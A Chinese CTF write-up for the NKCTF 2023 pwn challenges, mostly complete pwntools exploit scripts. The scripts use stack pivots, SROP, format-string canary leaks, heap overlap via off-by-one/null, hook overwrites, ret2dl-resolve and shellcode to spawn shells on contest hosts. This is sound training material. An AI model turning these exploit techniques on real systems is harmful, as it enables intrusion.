NKCTF 2023 Pwn WriteUp

比赛刚开始环境就全炸了,等到凌晨才有了备用环境。

记录一下第一次熬夜上大分。

NKCTF 2023 Pwn WriteUp

相关资源链接

基本都是板子。

ezshellcode

五分钟多了

给了个mmap的rwx,但是入口点做了随机,但但是随机区域在shellcode范围内。

直接nop滑过去,或者其他干了活但等效于啥也没干的指令。

a_story_of_a_pwner

栈迁移,但是rsp没8byte对齐。

可以强行打,但我那天晚上调了接近一个小时都没调出来。

最后还是手动调了pad,手动对齐了一下8byte,很快就出了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(arch="amd64",log_level="debug")
#s=process("./pwn")
libc=ELF("./libc.so.6")
s=remote("node.yuzhian.com.cn",36980)
def menu(ch):
    s.sendlineafter(b"> \n",str(ch).encode())
leave_ret=0x40139e
pread=0x401387

menu(4)
s.recvuntil(b"this. ")
libc_base=eval(s.recv(14))-libc.sym.puts
success("libc base: "+hex(libc_base))
ogg=libc_base+0xe3b01
rdx=libc_base+0x142c92

menu(2)
s.sendafter(b"corment?\n",p64(0x401572))
menu(1)
s.sendafter(b"comment?\n",p64(0))
menu(3)
s.sendafter(b"corMenT?\n",p64(rdx))
menu(4)
s.sendafter(b"heart...\n",b"a"*10+p64(0x4050c0-2+10)+p64(pread))
s.send(flat([b"\x00"*2,ogg,0x4050a0-8,leave_ret]))
s.interactive()

ez_stack

srop板子题。

ida中间一段看不出来,可以手动送进python然后disasm看看。

1
2
3
4
5
mov rax,15;
ret

syscall;
ret

看出来sigreturn,然后打就行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(arch="amd64",log_level="debug")
#s=process("./ez_stack")
s=remote("comentropy.cn",8303)
elf=ELF("./ez_stack")

#sleep(5)
syscall_ret=0x40114e
rax_15_ret=0x401146

s.recv()

sf=SigreturnFrame()
sf.rax=0
sf.rdi=0
sf.rsi=0x404200
sf.rdx=0x1000
sf.rsp=0x404200
sf.rip=syscall_ret

sf2=SigreturnFrame()
sf2.rax=59
sf2.rdi=0x404400
sf2.rsi=0
sf2.rdx=0
sf2.rip=syscall_ret

print(sf)
p=flat([
    rax_15_ret,syscall_ret,
])
s.send(b"a"*0x18+p+bytes(sf))
s.send((p+bytes(sf2)).ljust(0x200,b"\x00")+b"/bin/sh\x00")
s.interactive()

baby_rop

开头给了一个8byte的fmt,my_read有off-by-null,除此之外没有栈溢出。

考虑把ROP链留在buf里,然后想办法抬栈。如果填充满0x100,rbp的低1byte就会被写0,等到函数返回之前,leave;ret的时候就能把栈抬起来了。

可以先把canary漏出来,然后把rbp最低一字节清零。

但是不知道会从buf的哪里开始ROP,可以将buf前面写ret,从vuln的末尾ret开始滑,滑到最后的rop链上。基本思想跟第一题的shellcode差不多,区别就是一个用的nop一个用的ret

有可能不成功,多试几次(

最后还要测一下libc,先puts几个got表项然后丢进在线网站查一下就能查出来几个,然后挨个试就行了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(arch="amd64",log_level="debug")
#s=process("./nkctf_message_boards")
s=remote("comentropy.cn",8302)
elf=ELF("./nkctf_message_boards")
libc=ELF("./libc1.so")
#can  41
ret=0x4012B0
rdi=0x401413
s.sendlineafter(b"name: ",b"%41$p")
s.recvuntil(b"Hello, ")
canary=eval(s.recv(18))
success(hex(canary))
p=flat([elf.sym.main])
while len(p)<248:
    p=p64(ret)+p
p+=p64(canary)
s.sendafter(b"NKCTF: \n",p)


s.sendlineafter(b"name: ",b"%25$p")
s.recvuntil(b"Hello, ")
libc_base=eval(s.recv(14))-libc.sym._IO_2_1_stderr_
r15__r12=0x000000000040140c
success("libc base: "+hex(libc_base))

p=flat([r15__r12,0,0,0,0,libc_base+0xe3afe])
while len(p)<248:
    p=p64(ret)+p
p+=p64(canary)
s.sendafter(b"NKCTF: \n",p)
s.interactive()

baby_heap

2.32加上堆指针异或机制之后的板子题。

edit中存在一个off-by-one。

扩大堆块,然后打堆块重叠,随便玩,就是得调两下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context(arch="amd64",log_level="debug")
#s=process("./pwn")
s=remote("node.yuzhian.com.cn",35446)
libc=ELF("./libc-2.32.so")

def menu(ch,idx):
    s.sendafter(b"choice: ",str(ch).encode())
    s.sendafter(b"index: ",str(idx).encode())
def add(idx,sz):
    menu(1,idx)
    s.sendafter(b"Size: ",str(sz).encode())
def delete(idx):
    menu(2,idx)
def edit(idx,content):
    menu(3,idx)
    s.sendlineafter(b"content: ",content)
def show(idx):
    menu(4,idx)


if __name__=="__main__":
    for i in range(8):
        add(i,0x28)
    edit(0,b"a"*0x28+b"\xf1")
    delete(1)
    add(1,0xe8)
    edit(1,flat([
        b"a"*0x28,0xf1,
        0,0,0,0,0,0x421,
    ]))
    add(15,0x100)
    add(14,0x100)
    add(13,0x100)
    add(12,0x100)
    add(9,0x28)
    add(10,0x28)
    add(11,0x28)
    edit(9,b"a"*0x28+b"\xf1")
    delete(10)
    add(10,0xe8)
    edit(12,p64(0x421)*int(0xf0/8))

    delete(2)
    add(2,0xe8)
    delete(3)
    edit(2,b"a"*0x30)
    show(2)
    s.recvline()
    libc_base=u64(s.recvline(keepends=False).rjust(6,b"\x00").ljust(8,b"\x00"))-(0x7f3059b16c00-0x7f3059933000)
    success("libc base: "+hex(libc_base))
    
    edit(4,b"a"*0x28+b"\x41")
    delete(5)
    add(5,0x2f)
    delete(6)
    
    menu(3,5)
    s.sendafter(b"content: ",b"a"*0x30)
    show(5)
    s.recv(0x30)
    heap_xor_key=int.from_bytes(s.recv(5),byteorder="little")
    
    delete(11)
    edit(10,b"a"*0x28+p64(0x31)+p64(heap_xor_key^(libc_base+libc.sym.__free_hook)))
    add(11,0x28)
    add(8,0x28)
    edit(8,p64(libc_base+libc.sym.system))
    edit(11,b"/bin/sh\x00")
    delete(11)
    s.interactive()

only_read

非预期了。

前面几个base64就是真的base64,字符集没换,随便找个地方encode一下就行了。

注意到setbuf的got表跟puts差两个byte,且程序中存在rdi和rsi相关gadget且没开PIE。

直接爆破setbuf的got表的低2bytes,如果puts的地址爆破成功,就会有地址漏出来,进而ret2libc。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
import time
context.log_level="debug"
context.arch="amd64"
#s=process("./pwn")
time_pad=1
s=remote("node2.yuzhian.com.cn",39556)
elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")


while 1:
    try:
        s.send(b"V2VsY29tZSB0byBOS0NURiE=")
        sleep(time_pad)
        s.send(b"dGVsbCB5b3UgYSBzZWNyZXQ6")
        sleep(time_pad)
        s.send(b"SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45")
        sleep(time_pad)
        s.send(b"Y2FuIHlvdSBmaW5kIG1lPw==")
        rdi=0x401683
        rsi_r15=0x401681
        p=flat([
            b"a"*0x38,
            rdi,0,rsi_r15,elf.got.setbuf,0,
            elf.plt.read,
            rdi,elf.got.setbuf,
            elf.plt.setbuf,
            elf.sym.next
        ])
        s.send(p)
        sleep(time_pad)
        s.send(b"\x20\x54")
        dat=(s.recvline(timeout=time_pad,keepends=False))
        info("dat len: "+hex(len(dat)))
        if len(dat)!=6:
            raise EOFError
        libc_base=u64(dat.ljust(8,b"\x00"))-libc.sym.puts
        success("libc base: "+hex(libc_base))
        pause()
        s.send(flat([
            b"a"*0x38,
            0x40167c,0,0,0,0,
            libc_base+0xe3afe
        ]))
        s.interactive()
    except EOFError:
        warning("SGE")
        sleep(time_pad)
        s.close()
        #s=process("./pwn")
        s=remote("node2.yuzhian.com.cn",39556)
    except TimeoutError:
        warning("TLE")
        sleep(time_pad)
        s.close()
        #s=process("./pwn")
        s=remote("node2.yuzhian.com.cn",39556)
    except Exception as e:
        error(str(e))

s.interactive()

这里也放上从官方wp扒下来的ret2dl-resolve的解法。

需要注意的是,64位的利用路线并不需要strtab,只需要strtab地址可读即可;.rel.plt对应指针的前导0也不是必须的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context(arch="amd64",log_level="debug")
s=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")

time_pad=0.1

s.send(b"V2VsY29tZSB0byBOS0NURiE=")
sleep(time_pad)
s.send(b"dGVsbCB5b3UgYSBzZWNyZXQ6")
sleep(time_pad)
s.send(b"SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45")
sleep(time_pad)
s.send(b"Y2FuIHlvdSBmaW5kIG1lPw==")
sleep(time_pad)

fun_addr=elf.sym.next
read_plt=elf.plt.read
read_got=elf.got.read
bss=0x404060
l_addr=libc.sym.system-libc.sym.read
r_offset=bss+l_addr*-1
if l_addr<0:
    l_addr+=0x10000000000000000
rdi=0x401683
rsi=0x401681
plt_load=0x401026
p0=flat([
    b"a"*0x38,
    rdi,0,rsi,bss+0x100,0,
    read_plt,fun_addr
])
s.send(p0)
dynstr=0x4004d8
fake_link_map_addr=bss+0x100
fake_dyn_strtab_addr=fake_link_map_addr+8
fake_dyn_symtab_addr=fake_link_map_addr+0x18
fake_dyn_rel_addr=fake_link_map_addr+0x28
fake_link_map=flat([
    l_addr,
    0,dynstr,                   #fake_dyn_strtab_addr
    0,read_got-8,               #fake_dyn_symtab_addr
    0,fake_link_map_addr+0x38,  #fake_dyn_rel_addr
    r_offset,7,
]).ljust(0x68,b"\x00")+flat([
    fake_dyn_strtab_addr,fake_dyn_symtab_addr,b"/bin/sh\x00".ljust(0x80,b"\x00"),fake_dyn_rel_addr
])

s.send(fake_link_map)
sleep(time_pad)

p1=flat([
    b"a"*0x38,
    rdi,fake_link_map_addr+0x78,
    plt_load,
    fake_link_map_addr,0
])
s.send(p1)
s.interactive()

9961code

第一次见这个题还是在N1CTF Junior。

你可以去网上找找wp,能找到。或者强行弄出来一个execve("/bin/sh",0,0)也不是不行。

大体思路:栈上存在libc相关指针,泄露之,然后往栈上读rop,打one_gadget。

两个来自Wings博客的shellcode:

1
2
3
4
5
6
7
8
9
    movq rsp,xmm2
    push rsp
    pop rsi
l:
    shr edi,13
    and eax,edi
    syscall
    jnz l
    ret
1
2
3
4
5
6
7
8
9
    movq rsp,xmm2
    and eax, 1
    and edi, eax
    push rsp
    pop rsi
    syscall
    xor eax, eax
    syscall
    ret

再来一个硬搞的,正好22byte,真牛逼。

1
2
3
4
5
6
7
8
shellcode="""
    xor esi,esi
    xor edx,edx
    lea edi,[r15+15]
    mov ax,0x3b
    syscall
"""
payload=asm(shellcode)+b"/bin/sh"

bytedance

打的时候想到scanf可以弄大堆块出来,但是发的是字符a不是数字1导致白给。off-by-null运用的也不熟练。菜死了。

off-by-null,但只能分配小堆块。那怎么搞大堆块呢?

用scanf输入巨长的字符串的时候会先分配大堆块然后free掉,这里会触发malloc_consolidate。大堆块就来了。

然后就是各种烦人的堆布局了。我的脚本为了方便调试换了libc,如果用考试版本需要调一下one_gadget的偏移。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
from pwn import *
context(arch="amd64",log_level="debug")
s=process("./pwn02")
libc=ELF("/root/glibc-dbg/libc-2.23.so")

def menu(ch):
    s.sendlineafter(b"Choice:",str(ch).encode())
def add(sz,content=b"/bin/sh\x00"):
    menu(1)
    s.sendlineafter(b"size:",str(sz).encode())
    s.sendlineafter(b"content:",content)
def show(idx):
    menu(2)
    s.sendlineafter(b"index:",str(idx).encode())
    s.recvuntil(b"Content: ")
    return s.recvline(keepends=False)
def delete(idx):
    menu(3)
    s.sendlineafter(b"index",str(idx).encode())
def trigger_consolidate():
    s.sendlineafter(b"Choice:",b"1"*0x400)
if __name__=="__main__":
    # try to leave ptrs in chunk_list with malloc_consolidate
    # no checks on size&prev_size when malloc_consolidate in glibc v2.23
    # try to clear prev_inuse bit then trigger consolidate
    add(0x28) # 0 header
    for i in range(7):
        add(0x38)
    add(0x18)
    add(0x28,b"a"*0x10+p64(0x200)+p64(0x20))
    add(0x28) # 10 boarder
    for i in range(1,10):
        delete(i)
    trigger_consolidate()

    # shrink chunk, leave prev_size unchanged and set prev_inuse bit 0
    delete(0)
    add(0x28,b"a"*0x20+p64(0x40))
    
    for i in range(7):
        add(0x38)
    add(0x18)
    add(0x18)
    add(0x38)

    # free chunk at (end_chunk-prev_size), then trigger consolidate, make it a smallbin.
    # then free end_chunk and trigger consolidate again, we'll get end_chunk consolidate with *(end_chunk-prev_size),
    # leave ptrs between &(end_chunk-prev_size) to &(end_chunk) in chunk_list.
    delete(1)
    trigger_consolidate()
    delete(10)
    trigger_consolidate()

    for i in range(7):
        add(0x38)
    add(0x18)
    add(0x18)
    add(0x38)
    # 0x18:
    # 8==17
    # 9==18
    # 0x38:
    # 2==10
    # 3==12
    # .....
    # 7==16

    # consolidate with unchanged prev_size, ptr now left in chunk_list
    delete(2)
    trigger_consolidate()
    libc_base=u64(show(10).ljust(8,b"\x00"))-88-libc.sym.__malloc_hook-0x10-0x30
    success(hex(libc_base))
    add(0x38)

    # hijack main_arena
    # hijack top chunk ptr
    # prepare size in fastbinsY[0]
    add(0x18) # 20
    delete(8)
    delete(20)
    delete(17)
    add(0x18,p64(0x41))
    add(0x18)
    add(0x18)
    # now fastbinY[chunk size: 0x20] = 0x41

    # alloc chunk in main_arena
    # chunk by chunk, push it forward, until we can overwrite top chunk ptr
    delete(7)
    delete(6)
    delete(16)
    add(0x38,p64(libc_base+libc.sym.__malloc_hook+0x10))
    add(0x38)
    add(0x38)
    add(0x38,p64(libc_base+libc.sym.__malloc_hook+0x40)+b"\x00"*0x20+p64(0x31))
    # now time for top chunk ptr
    add(0x28,b"\x00"*0x18+p64(libc_base+libc.sym.__malloc_hook-0x10))
    add(0x28,p64(libc_base+0x3f42a))
    menu(1)
    s.sendlineafter(b"size:",str(0x18).encode())
    s.interactive()

这里也放一下官方wp的脚本:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
context(arch="amd64",log_level="debug")
s=process("./pwn02")
libc=ELF("./libc-2.23.so")

def menu(ch):
    s.sendlineafter(b"Choice:",str(ch).encode())
def add(sz,content=b"/bin/sh\x00"):
    menu(1)
    s.sendlineafter(b"size:",str(sz).encode())
    s.sendlineafter(b"content:",content)
def show(idx):
    menu(2)
    s.sendlineafter(b"index:",str(idx).encode())
    s.recvuntil(b"Content: ")
    return s.recvline(keepends=False)
def delete(idx):
    menu(3)
    s.sendlineafter(b"index",str(idx).encode())
def trigger_consolidate():
    s.sendlineafter(b"Choice:",b"1"*0x400)
if __name__=="__main__":
    #gdb.attach(s)
    add(0x38) #0
    add(0x28)
    add(0x28)
    add(0x18)
    add(0x18)
    add(0x38) #5
    add(0x28)
    add(0x38)
    add(0x38)
    add(0x38) #9
    add(0x38,content=b"a"*0x20+p64(0x200)+p64(0x20))
    add(0x38,content=b"end")
    for i in range(1,11):
        delete(i)
    trigger_consolidate()

    delete(0)

    add(0x38,b"a"*0x38) #0
    add(0x38)
    add(0x38)
    add(0x38)
    add(0x38)
    add(0x38) #5
    add(0x28)
    add(0x38)
    add(0x38)

    delete(1)
    delete(2)
    delete(3)
    trigger_consolidate()

    delete(11)
    trigger_consolidate()

    add(0x28) #1
    add(0x28)
    add(0x18) #3
    add(0x18) #9
    add(0x38)
    add(0x38)
    add(0x28)
    add(0x38)
    add(0x38) #14
    add(0x38,content=b"a"*0x20+p64(0x200)+p64(0x20))
    add(0x38,content=b"end")
    delete(1)
    delete(2)
    delete(3)
    for i in range(9,16):
        delete(i)
    trigger_consolidate()

    delete(0)
    add(0x38,b"a"*0x38)
    add(0x38) #1
    add(0x38)
    add(0x38) #3
    libc_base=u64(show(4).ljust(8,b"\x00"))-88-0x3c4b20
    success("libc base: "+hex(libc_base))
    
    delete(1)
    delete(2)
    delete(3)
    trigger_consolidate()

    add(0x18)
    add(0x28)
    add(0x38)
    add(0x18)
    add(0x18,content=flat([0,0x41]))
    add(0x28)
    add(0x38)
    add(0x28)
    add(0x38)
    add(0x28)
    delete(5)
    delete(14)
    delete(12)
    delete(6)
    delete(15)
    delete(13)

    add(0x28,p64(0x41))
    add(0x28)
    add(0x28)
    add(0x38,p64(libc_base+0x3c4b20+8))
    add(0x38)
    add(0x38)
    add(0x38,p64(libc_base+0x3c4b20+8+0x20)+b"\x00"*0x10+p64(0x41))
    add(0x38,flat([
        b"\x00"*0x20,libc_base+libc.sym.__malloc_hook-0x18,
    ]))
    add(0x18,b"a"*0x18)
    add(0x18,p64(libc_base+0xf03a4)*2)

    menu(1)
    s.sendlineafter(b"size:",str(0x18).encode())
    s.interactive()

note

年轻人初见musl

之前没接触过musl,直接当头一棒了属于是。

然而赛后看了一眼wp再动调了一小下才发现残留指针这么多,相关信息基本可以随便漏。

这里先贴一手官方wp里的脚本,得恶补一波musl了XD。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context(arch="amd64",log_level="debug")
s=process("./nk_note")
elf=ELF("./nk_note")
libc=ELF("./libc.so")
def menu(ch,idx):
    s.sendafter(b"choice: ",str(ch).encode())
    s.sendafter(b"Index: ",str(idx).encode())
def add(idx,sz,content="/bin/sh\x00"):
    menu(1,idx)
    s.sendafter(b"Size: ",str(sz).encode())
    s.sendafter(b"Content: ",content)

def edit(idx,sz,content):
    menu(2,idx)
    s.sendafter(b"Size: ",str(sz).encode())
    s.sendafter(b"Content: ",content)

def delete(idx):
    menu(3,idx)

def show(idx):
    menu(4,idx)

if __name__=="__main__":
    show(16)
    heap_base=u64(s.recv(6).ljust(8,b"\x00"))-0x248
    success("heap base: "+hex(heap_base))
    edit(16,0x1000,b"a"*0x10)
    show(16)
    s.recvuntil(b"a"*0x10)
    elf_base=u64(s.recv(6).ljust(8,b"\x00"))-16672
    success("elf base: "+hex(elf_base))
    note_addr=elf_base+0x40a0
    edit(16,0x1000,p64(heap_base+0x248)+p64(heap_base+0xe0))

    add(0,0x28,p64(note_addr))
    edit(1394,0x1000,flat([note_addr,elf_base+elf.got.puts]))

    show(1)
    libc_base=u64(s.recv(6).ljust(8,b"\x00"))-libc.sym.puts
    success("libc base: "+hex(libc_base))
    add(3,0x10,b"/bin/sh\x00")
    edit(1,0x1000,p64(libc.sym.system+libc_base))

    show(3)

    s.interactive()
0%